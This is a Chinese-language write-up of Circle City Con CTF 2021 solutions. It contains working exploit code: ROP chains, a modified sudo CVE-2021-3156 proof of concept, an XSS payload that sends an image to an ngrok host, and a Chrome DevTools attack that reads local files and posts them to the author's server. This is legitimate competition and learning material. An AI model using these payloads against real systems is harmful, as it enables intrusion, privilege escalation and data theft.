Circle City Con CTF 2021 WriteUps

期末考前自己參加了這個 CTF,整體難度算是偏低的,不過也有困難與很有趣的題目,最後居然得到了第四名。

Final Ranking
Final Ranking

CRYPTO

[Baby] RSA

\(e=3\),然後可以發現 \(c\) 是完全平方數,直接開立方根即可。

1
2
3
4
5
6
7
from Crypto.Util.number import long_to_bytes
from gmpy2 import iroot

n = 21240130069302595435883573568292543584653982426668643904196630885984119007899960150162877143271928662185885422702123670222165981446412189843665571992895649937195036232374014356896167929469467494531756153911013832353810970941919101050971790197002016280790620714887304192321101311465703150098410331176735899796484284165771555960758054286754565310439163189954842301676099617954811528874343372426916478057819577132937062857039063351856289801979923260408285890418889829381378968646646737194160697920287161229178345666260994127087040393511692642122516019055570881253021165130706539874713965212158253699181636631222365809257
c = 80505397907128518326368510654343095894448384569115420624567650731853204381479599216226376345254941090872832963619259274943986478887206647256170253591735005504

print(long_to_bytes(iroot(c, 3)[0]))

[Baby] CRT RSA

一樣是 \(e=3\),不過這次用了三個不同的 \(n\) 去加密,這個是 Håstad's broadcast attack。

首先有:

\[ \begin{gather*} c_1\equiv m^e\pmod{n_1} \\ c_2\equiv m^e\pmod{n_2} \\ c_3\equiv m^e\pmod{n_3} \end{gather*} \]

可以用中國餘數定理算出 \(x\equiv m^e\pmod{n_1n_2n_3}\),由於 \(\forall i\in[1,3]\,m<n_i\),因此 \(m^3<n_1n_2n_3\),可知算出來的 \(x\) 為完全立方數,直接開立方根得到 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.number import *
from gmpy2 import iroot

e = 3
n_1 = 18313667803478867336609004721464541537328973484305462826796382793855753159667702339443214415676107219128019719918729781240367765840170011546130583192904778311406642412055832301895834234050092458894891378245659415453668079516268277621821820816314253525389030994411875738859521385775378994318680298110895022910442167872459649446752807884859578440573460451717182770603357201261838877834565082113563029377616922987738400092690457439097525425733191455006127272117318175252557137776704423298751249687687982939242399995960217891670545776591917279437324424655966555374035972380565105603454122721599641307596329237684195317587
n_2 = 20194467459457647060586516996478370472351267218473917410062391619804366508155615598555934151439965040658239840971767337317396956926547783621869694734101324546348705982578129843495046800965472146299498824698092002656707267929600194580016819675385334043852783023251749457877096316831425135876783876607713235344100191162140401175616183217075255611260047339942560958156070307547443884997807476833178558920808584815204100121025788968550385803770908539890673979000205479656826535064665232908045866184941964720268186377486138453445647534884078844954199823059749774156922214595091852691529313493766002778666818883664405832403
n_3 = 28410407035821399633105602414308666083186296658943720122869492873011020714858272525924383333651592284428901214906611872460164447581815587883155804582069085992375163808745662275133491411336915996399762543519217523867565162464721135784726071214566835068379436095952306868321574023543552212709114558637219985795158790999008762464781584235742497782435874814916996914994622843458737648796476512273155699038887480170809464170867427859436811167822162365878701943537205202829629515767060354955288883378511576712085561459099352295975180411538002583505384685029771639657760193592641463091670959570110199839193007853012047792951
ct_1 = 4361068625491121585959284487341364298014917091167459186815285529598354735142456720602466259897053502006543584155650414108053083187715487460414552189153473176328972836654051104002438654670972840351138096724369732822616030793769716381154959736278166838792024300286881567007214354013293287163863182681969888796359513260199887574592768851482378233523702226160031879160962727499277063367162956148498154268271025542127905089334411348063974019724471911095717624141476012283069088544181538863919281957631181754200250370777952217187591480953121517810770662230820689692425877920149973485291740351240601042031554568416165653801
ct_2 = 7454119914503246454695225608366998910502362663575277057804461920278767763248677179908320434252341988720062910948247234833145541538721789767567216822524509307779250204983551429213791107932957166581434644890426988090302661172536864772938094552788386232242044947782405157429008368192073663951594129377676752306905041733416517122507652313240587554617250337508737466749142455332827859556080609592971327915921976414897414103328089640910405224692254001370474817181338600658683188149268215440111576616804026782469078580075278163035385301354208954742090806396419312598674668782737577467445931682124259183904307994197406247889
ct_3 = 475431757150415548038120878675026605258081422958849322189947529651864550511016854432752841608067858620795144603286556404827027829790131339932716728168413658428417455936312330389421287814427992302961543375036809563812960151703062899930161470602633031599828887098914730417799654684023064362771853376591221374617439483919394574339804160488928252982891682671342232959007865677713493662084854838321612782206385687329676060126776093320146302404930844788632687207893577657763961310494363939265885733023621969573701702862867184316968075660702024069750913111874157011920933780381567012981148057478008081618456449117864142394

x = crt([ct_1, ct_2, ct_3], [n_1, n_2, n_3])
print(long_to_bytes(iroot(x, 3)[0]))

[Baby] Meadows

這題他會把 flag 的字元隨便在 \(\mathbb{Z}_p^*\) 之下乘 \(g\) 的隨機數次方,不過因為 seed 有固定所以就反過來做即可。

1
2
3
4
5
6
7
8
9
10
11
12
data = [] # from out.txt
g, p = data[0]
ar = data[1:]

import random

random.seed(0x1337)

flag = []
for x in ar:
flag.append((x * pow(g, -random.randrange(2, p - 1), p)) % p)
print(bytes(flag))

No Stone Left Unturned

這題是經典的 Fermat factorization 的利用,根據他的質數生成的部分可以看出 \(11q\approx7p\)

再來列出式子 \(a^2-b^2=(\frac{11q+7p}{2})^2-(\frac{11q-7p}{2})^2=77n\),由 \(11q\approx7p\) 可知 \(a\approx\sqrt{77n}\),所以就直接暴力找 \(a\) 然後檢查 \(b^2\) 是否是完全平方數就能分解了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import gmpy2
from Crypto.Util.number import *


def fermat(x, mx=1000):
a = gmpy2.isqrt(x)
b2 = a * a - x
cnt = 0
while not gmpy2.is_square(b2):
a += 1
cnt += 1
if cnt == mx:
return
b2 = a * a - x
b = gmpy2.isqrt(b2)
return a, b


n = 0xA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA93F56D1E890D1827D8AE8D40172A2DFAFAA73523DD318C608BD4169D702442E6D153AE0637766F635255F4C1EE6BC694589B2708AE9061FB84F9DB9DA7199996C519635DECFB53B4CCFDE2BF9E89F70DE9172BD370BE887E8E1009B278774EE2449CE3EA3B76428506B4A98BEDA6E3C9AABBF1164E088F27554282D7909EF2AE61FB5316E705E3EA72CBA9DF06AF06E54C3EE898DAB8ED245E26290F59FEEEC9F58E61C4A2051086234FE48B42399A74452B87829DA28F3E88A5A4B01B72D045B296297A3DA34B9A5C20CB
e = 0x10001
c = 0x2D1F77201435E00D3355246CC4DE54B3C98A801F688500FF1E824D985F225F95415019188AF01C39C80393E648E5E51BAB80E1ABFDA82A74490FE58EF82AFDE4BED2999B10AC71F241F20564F5D2461CD57B50033C0FE64319B246AD241846B2AB37328F83D0A77FE5C3564CEC18DBC577FDACAD417925D208735D8B916779F567EF863DBA594D9D035C99E6210DB9397797C10E900A1D4A3BCE2F87502C23F2E909808C10AC675AFFB41B3E0769360C959289338CE2877813C723524718D84A75B2209BA4F3560FCBC82DA69D6B2F86C32970B325EC034A060FC62F6B3A97AE01CDFC8AEB35DF03D92AF88A7B60831254095FB66CE73B2C5941440721899DC1


a, b = fermat(n * 11 * 7, mx=1000000)
assert a ** 2 - b ** 2 == 11 * 7 * n
print((a + b) % 7)
q = (a + b) // 7
p = n // q
assert p * q == n
d = pow(e, -1, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m))

Poison Prime

這題給你決定一個質數 \(p\) 作為 Diffie-Hellman 交換的質數,但是它會要求你輸入一個夠大的 \(q\) 整除 \(p-1\) 確保它不夠 smooth。再來它也沒給 public key,要算 discrete log 也不可能。它會用 shared secret 作為 AES key 加密,然後要求你解密明文傳回去之後才能拿到 flag,而明文是部分已知的。

因為它沒給 public key,我直接把 shared secret 表示為 \(g^x\),看看有沒有辦法找到恰當的質數 \(p\) 能讓 \(g\) 被限制在一個很小的 subgroup 之中來暴破,也就是說它的 order \(n\) 很小。

這題的 \(g=8=2^3\),所以可以用這個式子來想 \(2^n\equiv 1\pmod{p}\),所以可推得 \(p|(2^n-1)\)。假設 \(p=2^n-1\) 會發現到這個是個很熟悉的一個形式,叫 Mersenne prime,所以就在裡面查表找到適當大小的 \(p\) 即可。

例如我用的是 \(p=2^{607}-1\),所以代表 \(2\) 的 order 是 \(607\),自然代表 \(g=2^3\) 的 order 也是 \(607\)。至於 \(q\)factordb 看看 \(p-1\) 最大的質因數夠不夠大,也就能找到 \(q\) 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from hashlib import sha1


p = 2 ** 607 - 1
q = (4 ** 101 + 2 ** 101 + 1) // 4249
assert (p - 1) % q == 0

keys = []
for i in range(607):
keys.append(sha1(long_to_bytes(pow(8, i, p))).digest()[:16])

# io = process(["python", "server.py"])
io = remote("35.224.135.84", 4000)
io.sendlineafter(b"Please help them choose p: ", str(p))
io.sendlineafter(
b"To prove your p isn't backdoored, give me a large prime factor of (p - 1):",
str(q),
)
io.recvuntil(b"encrypted message: ")
ct = bytes.fromhex(io.recvlineS().strip())
for key in keys:
pt = AES.new(key, AES.MODE_ECB).decrypt(ct)
if pt.startswith(b"My favorite food is "):
io.sendlineafter(b"Decrypt it and I'll give you the flag: ", unpad(pt, 16))
break
print(io.recvallS())

MISC

nana 1.0

直接在 core.3685280 上面用 strings + grep 就有 flag 了。

angrbox

這題的目標是要提供一個 C 程式給它編譯,程式需要從 argv[1] 拿四個字元做 key checking 的動作。對方會用一個使用 angr 的 script 試著去破解 key,如果能撐過兩分鐘不被破解就能得到 flag。

我的方法是找一個別人寫好的 brainfuck interpreter 來亂改,讓它 angr 的 symbolic execution 複雜度大幅增加。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define MEMORYCELLS 1000
#define CODESIZE 1000

struct Machine
{
char memory[MEMORYCELLS];
char *pointer;
};

void initializeMachine(struct Machine *a)
{
int i;
a->pointer = &(a->memory[0]);
for (i = 0; i < MEMORYCELLS; i++)
a->memory[i] = 0;
}

char translate(char in)
{
switch (in)
{
case '>':
return 1;
case '<':
return 2;
case '+':
return 3;
case '-':
return 4;
case '.':
return 5;
case ',':
return 6;
case '[':
return 7;
case ']':
return 8;
}
return in;
}

void execute(struct Machine *a, char *code, char *input)
{
long i = 0;
while (1)
{
switch (translate(*code))
{
case 0:
return;
break;
case 1:
a->pointer++;
break;
case 2:
a->pointer--;
break;
case 3:
(*(a->pointer))++;
break;
case 4:
(*(a->pointer))--;
break;
case 5:
// putchar(*(a->pointer));
break;
case 6:
*(a->pointer) = input[i++];
break;
case 7:
{
if (*(a->pointer) == 0)
while (*code != ']')
code++;
}
break;
case 8:
{
if (*(a->pointer) != 0)
while (*code != '[')
code--;
}
break;
}
code++;
for (int j = 0; j < 1000000; j++)
{
if (i >= 4)
{
i *= (long)code;
}
}
}
}

int main(int argc, char **argv)
{
struct Machine a;
char codeinmemory[CODESIZE];
char code[] = ",>,>,>,<<<----------------------------------------------------------------->------------------------------------------------------------------>------------------------------------------------------------------->--------------------------------------------------------------------";
initializeMachine(&a);
execute(&a, code, argv[1]);
for (int i = 0; i < 4; i++)
{
if (a.memory[i] != 0)
{
return 1;
}
}
return 0;
}

Double

這題有一個 memory dump dump.mem 和一個 Ubuntu_5.4.0-62-generic_profile.zip,Google 了和後者相關的檔名之後可以找到這篇: getdents

從裡面知道了 dump.mem 是個從 VMWare dump 出來的 memory dump,可以透過安裝一個軟體 volatility 來進行分析。

先找出 bash 的紀錄:

1
2
3
4
5
6
7
8
9
10
11
12
> volatility --plugins=. -f dump.mem --profile=LinuxUbuntu_5_4_0-62-generic_profilex64 linux_bash
Volatility Foundation Volatility Framework 2.6
Pid Name Command Time Command
-------- -------------------- ------------------------------ -------
1250 bash 2021-04-13 06:13:11 UTC+0000 sudo apt-get install virtualbox-guest-x11 curlthon3 python3-pip
1250 bash 2021-04-13 06:13:11 UTC+0000 vi .Xmodmap
1250 bash 2021-04-13 06:13:11 UTC+0000 xmodmap .Xmodmap
1250 bash 2021-04-13 06:13:15 UTC+0000 sudo curl https://get.docker.com/ | bash
1250 bash 2021-04-13 06:14:50 UTC+0000 sudo -s
1250 bash 2021-04-13 06:14:50 UTC+0000 ????????
1250 bash 2021-04-13 06:14:50 UTC+0000
11561 bash 2021-04-13 06:15:01 UTC+0000 docker run -it alpine:3.7 /bin/sh

從這裡能知道說它把東西跑在一個 alpine container 中的 shell 之中,再來試著把 docker 相關的檔案找出來:

1
2
3
4
5
> volatility --plugins=. -f dump.mem --profile=LinuxUbuntu_5_4_0-62-generic_profilex64 linux_enumerate_files | grep docker
Volatility Foundation Volatility Framework 2.6
...
0xffffa0f6fadd78c8 289058 /var/lib/docker/overlay2/0302e6c324b486a627e0243c020d8a7d5edd1eab9f186af5d0f6a83b5b82c989/diff/secret.txt
...

裡面能看到說有關於 secret.txt 的檔案存在,試著使用了 linux_find_file 匯出檔案來,但是不知為何還是失敗了。這個時候我試了另一個方法,用 strings + grep:

1
2
3
4
5
6
7
> strings dump.mem | grep secret.txt -C 5
...
secret.txt
C C C { d0 c
0 c k 3 r _ in
n _ a _ V M }
...

仔細檢查就能發現有像是上面的訊息出現,明顯是 flag,不過有些字元重複了,我再用 python 去把它輸出出來即可:

1
2
3
4
with open("dump.mem", "rb") as f:
dump = f.read()
i = dump.index(b"C C C")
print(dump[i : i + 40])

Discord Bot Dev 1

這題首先用根據 hint 中給的作者本名用點搜尋技巧找到一個 discord bot 的 repository,在 Google 上面搜尋 "Nathan Peercy" site:github.com 可以找到一個頁面,裡面能看到一個 GitHub Organization,從裡面的 repo 的 commit history 可以找到作者的 GitHub 帳號,裡面就有 Bot 的 repo: nbanmp/ccc-discord-bot-dev。Discord server 的連結可以從 commit history 之中找到: https://discord.gg/UPvvXtX8Z6。

從 source code 中會知道 flag1 會每 15 分鐘在 channel flag-deletion-test 出現,但是它還有個 on_message 會自動偵測 flag format 把它刪除。這部分我的做法是用 Discord 的 Console 去輸入點 JavaScript 自動去把該 channel 的最新訊息強制留下來,這樣就能看到 flag1 了。另一個後來發現的做法是利用 Discord Android app 的通知,它發送到刪除的時間雖然很短,但是 app 的通知會暫存一小段時間,抓好時間把通知截圖下來即可。

Discord Bot Dev 2

flag2 的部份需要想辦法觸發一個 handle_debug 函數才行,方法是要有個在該 server 擁有 admin 權限的人發送 sudo debug aaaaaaaa 之類的訊息,然後它就會把 aaaaaaaa 和 flag2 xor 的結果傳回去到訊息來源的頻道。

這邊可以利用它的一個 remindme 功能,這只能透過直接 DM 觸發,格式為 remind time [message] [channel_id],有中括號的部分是可選的,會讓 Bot 自身在指定時間於 channel_id 發送訊息 message。測試一下可以注意到它確實有辦法把 channel_id 設成 server 中的 channel 的 id,但是它有個檢測會檢查說如果該 channel 是屬於原本那個 server (852786013934714890) 的話訊息就會被替換成 someone attempted to send a reminder here

這邊的關鍵是先自建一個新的 Discord server,然後參考 Discord 官方的開發者教學生成一個 oauth2 的 url (要有適當的權限),然後把 client_id 的部份改成 Bot 的 id:

1
https://discord.com/oauth2/authorize?scope=bot&permissions=388160&client_id=852787071298830336

然後進入那個網址之後就能邀請 Bot 到你的 server 去,所以再 DM 適當的 remindme 指令給 Bot,然後他就會在指定時間發送 sudo debug aaaa... 到你的 server 的指定 channel。然後因為發送者就是 Bot,能經過它的權限檢查觸發 handle_debug,然後又會在同個頻道發送 xor 之後的 flag2。

範例指令:

1
remindme 2021/06/13 12:05 UTC+8 sudo debug aaaaaaaaaaaaaaaaaaaaaaaaa 123456789123456789

PS: 要注意的是 sudo debug aaaa... 後面的字元數量,因為從 code 可以知道如果它的長度超過 flag 的話會有 error,就不會拿到 flag 了,所以 flag 的長度需要自己一個一個暴力測試才行

OSINT

[Baby] Building Locator

因為題意說明不清,出題者直接在 Discord 的公告就給了 flag 了,是台北 101 的官網。

Happy Little Osint

我用了這個網站去找到了對應的帳號 [@happy_lil_con](https://twitter.com/happy_lil_con),從追隨者中找到 [@con_angry](https://twitter.com/con_angry),在自介的地方就有 flag 了。

PWN

[Baby] Fawn CDN

這題只要能讓它 call 到 win 函數即可,直接用 overflow 把 struct 中的 function pointer 蓋掉之後讓它 call 就成功了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

# p = process("./fawncdn")
p = remote("35.224.135.84", 1001)

p.sendlineafter(b"cmd> ", "1")
p.recvuntil(b"content at ")
addr = int(p.recvuntilS(b'"')[:-1], 16)
print(hex(addr))
p.sendlineafter(b"cmd> ", b"a" * 16 + p64(addr))
p.recvuntil(b"cmd> ")
p.sendline("3")
p.recvuntil(b"cmd>")
img = p.recvuntil(b"\n1.")[1:-3]
print(img)
with open("flag.jfif", "wb") as f:
f.write(img)

Weird Rop

這題的程式很小,沒有 RWX 的區段能寫 shellcode, vuln 函數會 open /flag.txt,然後 write 兩個 byte 之後用 read 讀超過範圍的 bytes,有個很明顯的 buffer overflow。

用 ROPgadget 找一下可以發現沒有能任意改 rax 的 gadget,只有 mov rax, 1; retmov rax, 0; ret,所以 syscall 只能使用 read 和 write 而已。rdi 的部分找不到 pop rdi; ret 的 gadget,但有很多的 xor rdi, SOME_CONSTANT 能用。剩下的部分還有 pop rsi; retpop rdx; ret 的 gadget。

我的作法是想用 read 去讀 open 出來的 file descriptor,之後再 write 出來即可。不過這邊有個困難點是 fd 的值是 rdi,它 xor 的部份沒有很小的值能讓你直接利用,一個作法可能是用多個 xor 去 xor 出需要的 fd,不過我的方法是先讓它 ret 到 vuln 函數的開頭再 open 一次,反覆這樣幾十次之後根據 open 出來的 fd 是遞增的性質就能找一個最小的 xor 來使用即可。

ROP chain 直接看 code 比較好懂:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

context.arch = "amd64"

# io = process("./weird_rop")
io = remote("35.224.135.84", 1000)

vuln = 0x4010E0
for _ in range(30):
io.recv(2)
io.sendline(b"a" * 24 + p64(vuln))
buf = 0x402500
syscall_add_rsp_0x10 = 0x401145
xor_rdi_29 = 0x401089
pop_rsi = 0x401000
pop_rdx = 0x4010DE
mov_rax_0 = 0x401002
mov_rax_1 = 0x40100A
mov_rdi_1 = 0x401012
# rdi = 0 initially
read_chain = flat(
[
xor_rdi_29,
pop_rsi,
buf,
pop_rdx,
100,
mov_rax_0,
syscall_add_rsp_0x10,
0,
0,
0,
vuln,
]
)
io.recv(2)
io.sendline(b"a" * 24 + read_chain)
write_chain = flat(
[
mov_rdi_1,
pop_rsi,
buf,
pop_rdx,
100,
mov_rax_1,
syscall_add_rsp_0x10,
]
)
io.recv(2)
io.sendline(b"a" * 24 + write_chain)
print(io.recvlineS().strip())

Lord Saturday

這題給你了一個普通 user 的 shell,可以直接 ssh 過去使用,而它安裝了 sudo 的 1.8.31 版本,目標是要得到 root 權限。

查詢一下 sudo 的版本可以知道有 CVE-2021-3156 的,找一下可以找到這個 POC 來使用,不過直接按照它的方法 compile 再放到 container 裡面執行是行不通的。再看一下 Dockerfile 會發現到它把 sudoedit 給刪除了,但是從文章中會知道它利用的是 sudoedit 的 bug。

其實再仔細看一下文章會發現 sudoedit 只是 sudo 的一個 symlink,它是靠 argv[0] 去判斷目前是以 sudo 還是 sudoedit 執行的,而這部分能靠 execve 很容易的繞過,所以就修改 POC 中的 exploit.c 最後面用 execve 的地方,把 /usr/bin/sudoedit 改成 /usr/bin/sudo 後再編譯一次即可成功。

傳送檔案的部分不知道為什麼 scp 沒用,不過就自己手動用 base64 把 binary 貼上傳過去執行就成功得到 root 了。

worm / worm 2

這題它會遞迴建立一堆資料夾構成像是 binary tree 的狀況,然後每層的資料夾的 user 帳號都不同,不過每個非葉節點的資料夾都會有個 ./key 能透過 buffer overflow 通過密碼檢測用 setuid setgid 切換權限執行 /bin/bash。而 flag 會放在任意一個葉節點之上。連線之後用 hashcash 算一下 PoW 之後會幫你開新的 container,之後可以輸入 512 以內的 shell 指令以 /bin/sh 幫你執行。

worm 是出題者稍微出錯的地方,它允許了 stdin,所以可以直接輸入 bash 進入 interactive 的模式去解。而 worm 2 就把 stdin 關掉了,讓你要在一行 shell 指令內把它解掉。

方法也很簡單,dfs 去找而已,但是比較麻煩的就是還要把要遞迴執行的指令 pipe 到 ./key 中才行。

沒有壓縮的版本大概如下:

1
2
3
4
5
6
export P=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaap4ssw0rd
cd /room0
gen() {
[[ -f ./key ]] && (echo $P && echo "$(declare -f gen);for x in \$(ls|grep ^r);do (cd \$x && (cat flag.txt 2>/dev/null || gen)) done") | ./key;
}
gen | grep CCC

之後可以壓成一行:

1
export P=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaap4ssw0rd;cd /room0;gen() { [[ -f ./key ]] && (echo $P && echo "$(declare -f gen);for x in \$(ls|grep ^r);do (cd \$x && (cat flag.txt 2>/dev/null || gen)) done") | ./key; };gen|grep CCC

再來因為要在 /bin/sh 中執行,先用 base64 當作 escape 之後再 pipe 到 bash 中即可:

1
echo ZXhwb3J0IFA9YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFwNHNzdzByZDtjZCAvcm9vbTA7Z2VuKCkgeyBbWyAtZiAuL2tleSBdXSAmJiAoZWNobyAkUCAmJiBlY2hvICIkKGRlY2xhcmUgLWYgZ2VuKTtmb3IgeCBpbiBcJChsc3xncmVwIF5yKTtkbyAoY2QgXCR4ICYmIChjYXQgZmxhZy50eHQgMj4vZGV2L251bGwgfHwgZ2VuKSkgZG9uZSIpIHwgLi9rZXk7IH07Z2VufGdyZXAgQ0ND | base64 -d | bash

REV

[Baby] Artform

IDA 打開就看到 flag 了。

[Baby] Guardian

輸入 flag,它會顯示正確的 prefix 數量,所以寫個腳本爆開即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import string
from pwn import remote, context

context.log_level = "error"


def guess(pwd):
r = remote("35.224.135.84", 2000)
r.recvuntil(b"password?\n> ")
r.sendline(pwd)
x = r.recvuntil(b"guardian").decode()
ans = x.count("✅")
r.close()
return ans


chs = "_!?" + string.digits + string.ascii_lowercase
flag = "CCC{"

while True:
for c in chs:
if guess(flag + c) > len(flag):
flag = flag + c
break
else:
print(flag + "}")
break
print(flag)

Lonk

直接執行 flag.py 就會出現 flag 的一部份,但是因為它跑很慢所以後面的字元都出不來。讀 lib.py 之後可以看出它是使用 linked list 去表示數字並做一些運算,讀懂之後把它 patch 掉改成使用正常的數字去運算即可:

patched_lib.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
def 非(a):
# setup a
return a


def 常(a):
# count a
return a


def 需(a):
# copy a
return a


def 要(a, b):
# a + b
return a + b


def 放(a, b):
# a - b
return a - b


def 屁(a, b):
# a * b
return a * b


def 然(a, b):
# a % b
return a % b


def 後(a, b):
# a ** b
return a ** b


def 睡(a, b, m):
# a ** b % m
return pow(a, b, m)


def 覺(n):
print(chr(常(n)), end="", flush=True)

然後把 flag.py 的 import 改掉就能 print 出 flag 了。

Little Mountain

丟進 IDA 中可以看到它有個 function table,進 gdb 會發現 table 裡面有四個函數 a b c d,但顯示的 menu 只有三個。用 IDA 看 d 函數就能發現它的 flag 只是簡單的 xor 的結果,自己把需要的 data export 出來 xor 即可。

另一個方法是 gdb 對 d 下斷點,menu 的地方輸入不存在的第三個選項進入 d,然後一直 ni 到它有個 jne 的地方輸入 j *(d+78) 繞過比對即可。

WEB

Casino

有一個 Discord bot,需要得到超過 $1000 才能拿到 flag。從 source code 看的出來正規方法沒有辦法得到超過 \(1000,不過它有個特別的 `\)badge` 指令是會用 puppeteer 去造訪網站截圖產生 badge 的。

可以看到 $badge 指令支援自己加入 css,而它有個設置金錢數量的 endpoint 是用 GET 的,不過那限制內網才能訪問。

這邊就自己插入 css 用 url() 去讓 bot 對內網的那個網站發出 request,然後就能設置金錢數量了:

1
$badge body{background:url("/set_balance?user=maple3142%238585&balance=8763");}

imgfiltrate

這題有個很簡單能 XSS 的弱點在,雖然有 CSP 但 nonce 也給了所以不是問題。困難點在於 flag 是個圖片,而它的 CSP 也限制了你不能用 fetch 去取得圖片再 base64 encode 傳送過來。

解決辦法也很簡單,直接利用現有的 img 元素就夠了,因為 canvas 有支援直接把圖片畫到裡面的功能,之後再用 canvas 取得 base64 就成功了,網路上有很多這樣的範例。

Payload:

1
http://35.224.135.84:3200/?name=%3Cscript%20nonce=70861e83ad7f1863b3020799df93e450%3Efunction%20getBase64Image(e){var%20a=document.createElement(%22canvas%22);return%20a.width=e.width,a.height=e.height,a.getContext(%222d%22).drawImage(e,0,0),a.toDataURL(%22image/png%22).replace(/^data:image\/(png|jpg);base64,/,%22%22)};flag.onload=()=%3E{location=%27https://52dbd34bb4a0.ngrok.io?data=%27%2BencodeURIComponent(getBase64Image(flag))}%3C/script%3E

這題因為 url 太長(圖片的 base64)的緣故,沒辦法使用 https://webhook.site/ ==

Puppet

這題只有一個 Puppeteer 的 bot 讓你用,可以看到他的啟動選項有 --disable-web-security--remote-debugging-port=5000,而 flag 還是放在 ~/Documents 中的其中一個未知名稱的檔案中,所以目標很明顯就是要用 Chrome DevTools Protocol 打 Puppeteer。

解法和之前解 Watered Down Watermark as a Service 這題很像,直接讀 file: protocol 的頁面內容即可。

有個比較麻煩的地方是它每次都是一個新的 instance,所以連 flag 檔名都會變,所以需要一次讓它做完列出目錄內容以及讀檔的工作才行。

把下面這個 index.html 放到一個 server 的根目錄,然後把該 server 的公開網址直接 submit 過去即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<pre id="log"></pre>
<script>
const base = location.href.split('?')[0]
const u = new URLSearchParams(location.search)
function log(tag, msg) {
const ct = `${tag}: ${msg}\n`
log.textContent += ct
fetch(`${base}report.php`, { method: 'POST', body: ct })
}
const filepath = u.get('path') || '/home/inmate/Documents/'
fetch(`http://localhost:5000/json/new?file://${filepath}`)
.then(r => r.json())
.then(d => {
const j = JSON.stringify(d, null, 2)
log('json', j)
const ws = new WebSocket(d.webSocketDebuggerUrl)
ws.onmessage = e => {
log('ws.onmessage', e.data)
}
ws.onopen = () => {
setTimeout(() => {
ws.send(
JSON.stringify({
id: 8763,
method: 'Runtime.evaluate',
params: {
expression: `
const m = document.documentElement.innerHTML.match(/flag_.*?txt/)
if(m) {
location.href = '${base}?path=' + encodeURIComponent('${filepath}' + m[0])
}
fetch('${base}report.php', { method:'POST', body: document.documentElement.innerHTML })
`
}
})
)
}, 5000)
}
})
</script>

如果有用 ngrok 的話它可以很方便的直接檢視 request 內容,沒有的話可以用下面這個 report.php 把 POST body 輸出:

1
2
<?php
error_log(file_get_contents('php://input'), 0);

Sticky Notes

這題我認為是個相當困難的題目,需要用到的核心概念和 PlaidCTF 2021 的題目 Carmen Sandiego 相同。

flag 的內容也清楚的告訴我們這題的 idea 就是來自那題的

此題目標也是 XSS,網站上可以創建 board 然後新增最多九個文字內容,文字內容都是放在 iframe 裡面以 Content-Type: text/plain 提供的。

web 的部份有兩個 server,一個是使用 fastapi 寫的 boards.py 作為前端存在,另一個是直接利用 socket 寫的 notes.py,作為後端提供 iframe 裡面的內容。

boards.py 本身沒什麼漏洞能用,只是處裡創建 board 和把傳送的文字寫到資料庫 (file system) 的功能而已。

題目的關鍵在於 notes.py 的幾個地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# ...
header_template = """HTTP/1.1 {status_code} OK\r
Date: {date}\r
Content-Length: {content_length}\r
Connection: keep-alive\r
Content-Type: text/plain; charset="utf-8"\r
\r
"""
# ...
def http_header(s: str, status_code: int):
return header_template.format(
status_code=status_code,
date=formatdate(timeval=None, localtime=False, usegmt=True),
content_length=len(s),
).encode()
# ...
def iter_chunks(xs, n=1448):
"""Yield successive n-sized chunks from xs"""
for i in range(0, len(xs), n):
yield xs[i : i + n]
# ...
class TcpHandler(StreamRequestHandler):
# ...
def send_file(self, filepath):
if not filepath.is_file():
self.send_404()
return

content = open(filepath, "rb").read()
self.wfile.write(http_header(content.decode(), 200))

for chunk in iter_chunks(content):
self.wfile.write(chunk)
time.sleep(0.1)
# ...

從這邊可以看到 send_file 函數裡面的 contentbytes 類型,所以它的 content_length 會是那串 bytes 轉為 str (UTF-8) 的長度。然而它實際傳送出去的資料長度卻是 bytes 數量。

例如 UTF-8 字元 Àstr 類型的長度為 1,但是它的 bytes 長度為 2,這個就是能利用的關鍵。

這題的另一個關鍵在於它有 Connection: keep-alive,這會使瀏覽器會試著把多個 HTTP request 放在同次連線之中,不會再新開 socket。這樣題目的解法也很明顯了,就是要用它的長度的 bug 去偽造出假的 HTTP response 達成 XSS。

